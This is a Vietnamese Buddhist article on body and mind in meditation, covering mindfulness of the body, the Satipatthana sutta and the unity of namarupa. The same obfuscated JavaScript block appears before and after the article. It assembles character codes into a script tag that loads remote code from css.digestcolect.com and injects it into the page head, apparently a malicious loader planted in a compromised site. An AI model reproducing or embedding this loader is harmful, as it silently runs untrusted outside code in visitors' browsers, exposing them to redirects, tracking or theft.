Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Thân thể và tâm thức trong thiền

Con người thường bao gồm có hai phần: thân thể và tâm thức. Thân thể và Tâm thức nên hòa hợp biết điều chỉnh bản thân, thuận cuộc sống với muôn điều bình thường giản dị nhưng thật tốt đẹp..

Quán thân trong thân thể

Quán thân trong thân thể tức là “Thở vào, tôi ý thức về toàn thân thể tôi. Thở ra, tôi ý thức về toàn thân thể tôi.”

Khi tu tập thở vào, thở ra và có ý thức về toàn thân, tức là ta đang ôm ấp thân thể ta với năng lượng của chánh niệm. Ta có mặt cho thân thể ta và nhìn sâu vào bản chất chân thực của nó. Với sự quán chiếu sâu sắc, ta sẽ khám phá những điều mầu nhiệm của thân thể, thấy được bản chất tương quan tương duyên của sự sống và chết của thân thể ta.

Sự sống không thể nào có được nếu không có sự chết và ngược lại. Ta cũng sẽ khám phá ra rằng mỗi tế bào trong cơ thể ta chứa đựng tất cả di sản, thông tin của dòng họ tổ tiên, ông bà, văn hóa và xã hội ta. Một tế bào đơn có thể cung cấp cho ta tất cả những dữ kiện liên hệ đến nhiều thế hệ tổ tiên của ta trong quá khứ mà ta muốn tìm hiểu. Pháp đường này tuy rất lớn, nhưng nó không thể chứa đựng được tất cả những dữ kiện lưu trữ của tổ tiên ta.

Khoa học đã có thể lấy một tế bào đơn để tạo ra một sinh mạng mới gọi là hóa thân vô tính. Điều này rất phù hợp với giáo lý đạo Bụt – Cái một chứa đựng cái tất cả. Ý niệm về lớn và nhỏ, một và khác của ta chỉ là ý niệm, nó không phù hợp với thực tại. Cái vô cùng lớn được tìm thấy trong cái vô cùng nhỏ.

Mỗi tế bào trong cơ thể ta là sự biểu hiện nhiệm màu của sự sống, của tâm thức cá nhân và cộng đồng. Ta biết rằng chết xảy ra từng giây phút trong cơ thể và tâm thức ta, nhưng ta không có can hệ gì. Khi có một tế bào đang chết, ta không than khóc, cũng không tổ chức đám tang. Nếu tổ chức đám tang mỗi khi có một tế bào chết thì ta sẽ không còn có thì giờ để sống vì bận lo việc ma chay. Nhờ sự chết xảy ra liên tục mà sự sống có mặt. Tuy rằng đã thấy được bản chất của sống và chết là tương tức, nhưng ta vẫn bám vào sự vô minh của ta và nói rằng: ”Tôi chỉ muốn sống. Tôi không muốn chết.” Đó là thái độ hết sức ngây thơ, không có trí tuệ.

Trong kinh Bốn Lãnh Vực Quán Niệm (Satipatthana sutta), Bụt dạy chúng ta tu tập nhìn sâu, quán tưởng vào hình hài của ta trong khi nó còn linh hoạt và cả khi nó bị tan rã. Ta bắt đầu ôm lấy hình hài ta với năng lượng chánh niệm và tu tập nhìn sâu vào thân thể ta. Ta cần khám phá tâm thức của ta và nhiều điều mầu nhiệm khác mà ta chưa biết về hình hài như là một hợp thể ngũ uẩn: sắc, thọ, tưởng, hành và thức.

Thiền là một quá trình tu tập rất thích thú giúp ta thâm nhập, khám phá và quán chiếu để thấy được bản chất đích thực của thực tại một cách trực tiếp. Thiền tập giúp ta an trú trong giây phút hiện tại để nhận diện và trân quý những nhiệm mầu của sự sống đang có mặt trong ta và quanh ta. Nhưng vì quá bận rộn nên ta không có thì giờ để sống; ta đánh mất ước hẹn với sự sống, mà đánh mất sự sống là đánh mất tất cả.

Thân thể và tâm thức

Trong các kinh điển của Bụt, ta thấy chữ namarupa- danh sắc thỉnh thoảng được sử dụng để chỉ cho toàn thể con người. Nama nghĩa là ”danh” và rupa nghĩa ”sắc.” Ta nghĩ rằng danh và sắc là hai yếu tố khác biệt nhau. Ta cho rằng thân là sắc, còn các cảm thọ, tri giác, tâm hành và các đối tượng tâm hành (thức) là danh. Đây là cách chia rẽ, phân biệt của ta.

Ta có khuynh hướng cho rằng danh không phải là sắc và sắc không phải là danh. Ta phải tập nhìn trong ánh sáng của tương tức và vô ngã mới thấy được bản chất chân thực của danh và sắc. Theo ánh sáng của tương tức, vô ngã, hễ lấy danh ra khỏi sắc thì sắc không thể tồn tại được và ngược lại. Namarupa- danh sắc vốn là hai khía cạnh của cùng một thực tại.

Có khi nó biểu hiện như là danh và ta gọi là danh; có khi nó biểu hiện như là sắc và ta gọi là sắc. Vì vậy, thay vì viết hai chữ rời nhau, ta viết thành một chữ là namarupa– danh sắc.

Cách tư duy như vậy có lẽ hơi khó chấp nhận nếu ta mới nghe qua lần đầu, nhưng từ từ sẽ quen. Như các nhà vật lý học nguyên tử, họ nói rằng hạt có khi biểu hiện như là sóng và có khi biểu hiện như là hạt. Cả hai vốn mang cùng một thực tại. Lúc đầu ta nghĩ rằng nếu là sóng thì không thể là hạt; nếu là hạt thì không thể là sóng. Sự thực là hạt có khi biểu hiện như là sóng và có khi biểu hiện như là hạt. Vì thế các nhà khoa học vật lý đã chế ra một danh từ mới để gọi cái thực tại của nguyên tử mà họ đã khám phá ra là ”wavicle- sóng hạt.” Điều này cũng đúng đối với thân và tâm.

Ta nghĩ rằng tâm và vật trái ngược nhau; nhưng theo ánh sáng tương tức, vô ngã thì tâm có khi biểu hiện như là vật và vật có khi biểu hiện như là tâm. Tâm và vật tương tức, có mặt trong nhau. Điều này mới nghe thì thật khó tin, nhưng đó là sự thật.

(Dunji, Sưu tầm và biên soạn)

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();